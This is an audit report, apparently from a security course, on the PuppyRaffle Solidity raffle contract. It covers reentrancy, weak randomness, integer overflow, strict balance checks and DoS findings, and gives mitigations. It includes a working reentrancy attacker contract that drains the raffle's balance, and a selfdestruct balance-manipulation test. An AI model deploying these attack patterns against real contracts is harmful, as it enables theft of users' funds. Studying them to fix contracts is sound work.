PuppyRaffle Audit Report

Version 1.0

Trashpirate.io

November 12, 2024

PuppyRaffle Audit Report

Trashpirate

November 11, 2024

Prepared by: Trashpirate Lead Auditors: - Nadina Zweifel

Table of Contents

- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) vulnerability, incrementing gas costs with each additional player
  - [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing player at index 0 to incorrectly be considered as inactive (have not entered the raffle)
  - [L-2] State variable changes but no event is emitted.
- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] solc-0.7.6 is not recommended for deployment
  - [I-3]: Functions send eth away from contract but performs no checks on any address.
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI pattern
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] Dead Code
- Gas
  - [G-1] Unchanged state variables should be immutable or constant
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters: `address[] participants` : A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The TRASHPIRATE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This audit report was prepared as part of a security tutorial created by Patrick Collins (Cyfrin Updraft).

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	2
Info	6
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` does not follow the CEI (Checks, Effects, Interactions) and as a result, enables particiapnts to drain the contract balance.

In the `PuppyRaffle::refund` function, an external call is made to `msg.sender` before the `PuppyRaffle::players` array is updated.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund before the balance is updated. This can continue until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious player who has entered the raffle.

Proof of Concept:

1. User enters the raffle 2. Attacker sets up a contract with `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters raffle 4. Attacker calls `PuppyRaffle::refund` from the attacker contract, draining the contract balance

Code

Place following test into your test suite:

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            address(puppyRaffle));

        address attackerUser = makeAddr("attacker");
        vm.deal(attackerUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // attack
        vm.prank(attackerUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attackerContractBalance",
            startingAttackContractBalance);
        console.log("Ending attackerContractBalance", address(
            attackerContract).balance);

        console.log("Starting ContractBalance",
            startingPuppyRaffleBalance);
        console.log("Ending ContractBalance", address(puppyRaffle).
            balance);
    }
```

Including the Attacker contract:

```
    contract ReentrancyAttacker {
        PuppyRaffle public puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(address _puppyRaffle) {
            puppyRaffle = PuppyRaffle(_puppyRaffle);
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before sending the funds to the player. Additionally, the event should be emitted before the external call as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
```

```
8
9           payable(msg.sender).sendValue(entranceFee);
10 -        players[playerIndex] = address(0);
11
12 -        emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Week randomness in `PuppyRaffle::selectWinner` allows validators to influence/predict winner or influence/predict puppy rarity

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A malicious user can manipulate these values or know them ahead of time to chosse the winner of the raffle themselves.

Notes: This means users could front-run this function and call `refund` if they see they are not the winner.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 151 `solidity uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))% players.length;`
- Found in src/PuppyRaffle.sol Line: 169

```
1 uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
      block.difficulty))) % 100;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if becomes a gas war as to who wins the raffles.

Proof of Concept:
1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` values and use that to predict when/how to participate. See the Solidity Blog on Prevrandao. `block.difficulty` was recently replaced with `block.prevrandao`. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they are not the winner or they don't like the resulting puppy.

Using on-chain values as a randomness seed is well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integer overflow does not revert.

```
    uint64 myVar = type(uint64).max;
    // output: 18446744073709551615
    myVar += 1;
    // output: 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently locked in the contract.

Proof of Concept:

1. 95 players enter the raffle and conclude the raffle (numPlayers = maxUnit64 * 5 / (entranceFee) + 1)
2. `totalFees` will be:

```
  totalFees = totalFees + uint64(fee);
  // = 153255926290448384 instead of 18600000000000000000
```

3. Fees cannot be withdrawn due to the fee amount is unequal to the contract balance.

Using `selfdestruct` could be use to adjust the balance but this is not recommended as any balance that exceeds the `totalFees` will lock the fees forever in the contract.

Code

Place following test into your test suite:

```
    function testOverflow() public {
        uint256 maxUnit64 = uint256(type(uint64).max);
        uint256 numPlayersNeeded = maxUnit64 / (1e18) + 1;
        console.log(numPlayersNeeded);

        uint256 numPlayers = numPlayersNeeded * 5; // 5x to hit max
           with 20 %
        address[] memory players = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
           players);

```

```
15          vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
16          puppyRaffle.selectWinner();
17
18          uint256 contractBalance = address(puppyRaffle).balance;
19          console.log("Contract balance: ", contractBalance);
20
21          uint256 totalFees = puppyRaffle.totalFees();
22          console.log("Total Fees: ", totalFees);
23
24          assertGt(contractBalance, totalFees);
25      }
```

Recommended Mitigation:

1. Use a newer version of solidity, and a `uint256` for `PuppyRaffle::totalFees` instead of `uint64`.
2. Use `SafeMath` library of Openzeppelin to handle overflow but will still cause rounding issues with `uint64`
3. Remove balance check from `PuppyRaffle::withdrawFees` and allow the `feeAddress` to withdraw the entire contract balance.

[H-4] Strict equality check of ETH balance in `PuppyRaffle::withdrawFees` can prevent fees from being withdrawn

Description: Strict equality check of the contract balance in `PuppyRaffle::withdrawFees` can prevent the `feeAddress` from withdrawing fees if the contract balance is not exactly equal to the `totalFees`. Strict equality when handling contract balances is not recommended.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5
6           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
7           require(success, "PuppyRaffle: Failed to withdraw fees");
8       }
```

Impact: Protocol fees may be locked in the contract indefinitely.

Proof of Concept:

1. Players enter the raffle
2. Winner is drawn
3. Player enters the raffle immediately before fees are withdrawn or uses `selfdestruct` to manipulate the contract balance

4. Protocol owner is not able to withdraw fees

Code

Place following code into your test suite:

```
    function testCannotWithdrawFees() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;

        puppyRaffle.selectWinner();

        address[] memory new_players = new address[](1);
        new_players[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee}(new_players);

        vm.expectRevert(bytes("PuppyRaffle: There are currently players
            active!"));
        puppyRaffle.withdrawFees();
    }
```

and the following code:

```
    function testSelfDestruct() public {
        uint256 numPlayers = 5; // 5x to hit max with 20 %
        address[] memory players = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);

        vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
        puppyRaffle.selectWinner();

        // create attacker contract
        SelfDestructAttacker attackerContract = new
            SelfDestructAttacker(address(puppyRaffle));

        // fund contract
```

```
18          deal(address(attackerContract), 1 ether);
19
20          // attack
21          attackerContract.attack();
22
23          // withdrawing fees impossible
24          vm.expectRevert();
25          puppyRaffle.withdrawFees();
26      }
```

Recommended Mitigation: There are multiple options to avoid the strict equality check:

1. Use remaining contract balance to be sent to the fee address
2. Use a mapping to map the collected fees to raffle round and allow withdrawal at any
3. Send fees directly to fee address without claiming

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) vulnerability, incrementing gas costs with each additional player

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates before allowing a new player to enter the raffle. As the number of players increases, the gas cost for this operation increases linearly, which could lead to a denial of service (DoS) attack if the array becomes large. Every additional address in the `players` array is an additional check the loop will have to make.

Note: This could also cause an issue in terms of front-running.

```
1  // @audit DoS Attack
2  @>  for (uint256 i = 0; i < players.length - 1; i++) {
3          for (uint256 j = i + 1; j < players.length; j++) {
4              require(players[i] != players[j], "PuppyRaffle: Duplicate
                   player");
5          }
6      }
```

Impact: The gas costs for raffle entrants will greatly increase as the number of players grows, potentially preventing new players from entering the raffle and leading to a denial of service.

An attacker could exploit this by adding multiple entries to the raffle, causing the gas cost for legitimate players to become prohibitively high, effectively locking them out of the raffle.

Proof of Concept:

If we have 3 sets of 100 players enter, the gas costs will be as such:

Gas used for first 100 players: 6252039 Gas used for second 100 players: 18067741 Gas used for third 100 players: 37782299

As we can see, the gas cost increases significantly with each additional player due to the linear search through the `players` array. The third set also exceeds the maximum block gas limit, causing a revert.

Code Place the following test into `PuppyRaffleTest.t.sol`:

```
    ////////////////////
    /// Proof Of Code (Audit)         ///
    ////////////////////

    function testDenialOfService() public {
        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }
        uint256 gasLeft = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);
        uint256 gasUsed = gasLeft - gasleft();
        console.log("Gas used for first 100 players: ", gasUsed);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(numPlayers + i);
        }

        gasLeft = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);
        gasUsed = gasLeft - gasleft();
        console.log("Gas used for second 100 players: ", gasUsed);

        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(2 * numPlayers + i);
        }

        gasLeft = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);
        gasUsed = gasLeft - gasleft();
        console.log("Gas used for third 100 players: ", gasUsed);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so duplicates check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to track players instead of an array. This would allow for O(1) complexity for checking duplicates. Note that you need to initialize and reset the mapping as well.

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
+       require(!hasEntered[newPlayers[i]], "PuppyRaffle: Duplicate player");
            players.push(newPlayers[i]);
+       hasEntered[newPlayers[i]] = true;
        }

    // Check for duplicates
-    for (uint256 i = 0; i < players.length - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
-         require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-     }
-    }
}
```

3. Consider using Openzeppelin's `EnumerableSet` library. This can help manage the players more efficiently.

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot of gas due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` could revert many times, making the lottery reset difficult.

Also, true winners could not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function

2. the lottery ends
3. The `selectWinner` function would not work, even though the lottery ended.

Code

Place this code into your test suite:

```
    function testSelectWinnerRevertsWithFaultySmartContractWallet()
        public {
        uint256 numPlayers = 6; // 5x to hit max with 20 %
        address[] memory players = new address[](numPlayers);

        for (uint256 i = 0; i < numPlayers - 1; i++) {
            players[i] = address(i);
        }

        SmartContractWalletDummy dummy = new SmartContractWalletDummy()
            ;
        players[numPlayers - 1] = address(dummy);

        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);

        vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 4);

        // select winner
        vm.expectRevert(bytes("PuppyRaffle: Failed to send prize pool
            to winner"));
        puppyRaffle.selectWinner();
    }
```

Including this dummy smart contract wallet without `fallback`/`receive` function:

```
    contract SmartContractWalletDummy {
        address public owner;

        constructor() {
            owner = msg.sender;
        }

        // missing fallback/receive function
        // receive() external payable {}

        function withdraw() external {
            require(msg.sender == owner, "Only owner can withdraw");

            (bool success,) = (msg.sender).call{value: address(this).
                balance}("");
            require(success, "Transfer failed.");
        }
    }
```

Recommended Mitigation: There are few options to mitigate this issue:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses and winners can withdraw their funds themselves with a `claimPrize` function.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing player at index 0 to incorrectly be considered as inactive (have not entered the raffle)

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return 0 if the player is not in the array.

```
1      function getActivePlayerIndex(address player) external view returns
           (uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7          return 0;
8      }
```

Impact: Player at index 0 will be considered as inactive (have not entered the raffle) despite having entered the raffle. This player might try to reenter the raffle and waste gas.

Proof of Concept:
1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation:

1. Revert if the player is not in the array instead of return 0
2. Return a **`boolean`** indicating if entered (**`true`**) or not (**`false`**)
3. Return a `int256` and return `-1` for players that have not entered the raffle

[L-2] State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 145

```
    function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 187

```
    function withdrawFees() external {
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] solc-0.7.6 is not recommended for deployment

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Functions send eth away from contract but performs no checks on any address.

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 145

```
    function selectWinner() external {
```

- Found in src/PuppyRaffle.sol Line: 187

```
1     function withdrawFees() external {
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI pattern

It is recommended to follow the CEI (Checks-Effects-Interactions) pattern.

```
1 +   _safeMint(winner, tokenId);
2     (bool success,) = winner.call{value: prizePool}("");
3     require(success, "PuppyRaffle: Failed to send prize pool to winner"
          );
4 -   _safeMint(winner, tokenId);
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number lieterals in a codebase, and it is much more readable if the numbers are defined as constants.

Examples:

```
1     uint256 prizePool = (totalAmountCollected * 80) / 100;
2     uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead use:

```
1     uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2     uint256 public constant FEE_PERCENTAGE = 20;
3     uint256 public constant PRECISION = 100;
4
5     uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
          / PRECISION;
6     uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PRECISION;
```

[I-6] Dead Code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 207

```
1     function _isActivePlayer() internal view returns (bool) {
```

Gas

[G-1] Unchanged state variables should be immutable or constant

Reading from storage is much more expensive than reading from a constant or immutable variable.

4 Found Instances

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` in a loop, you are reading from storage. This is expensive and can be avoided by caching the value in a local variable.

```
+       uint256 playersLength = players.length;
+       for (uint256 i = 0; i < playersLength - 1; i++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```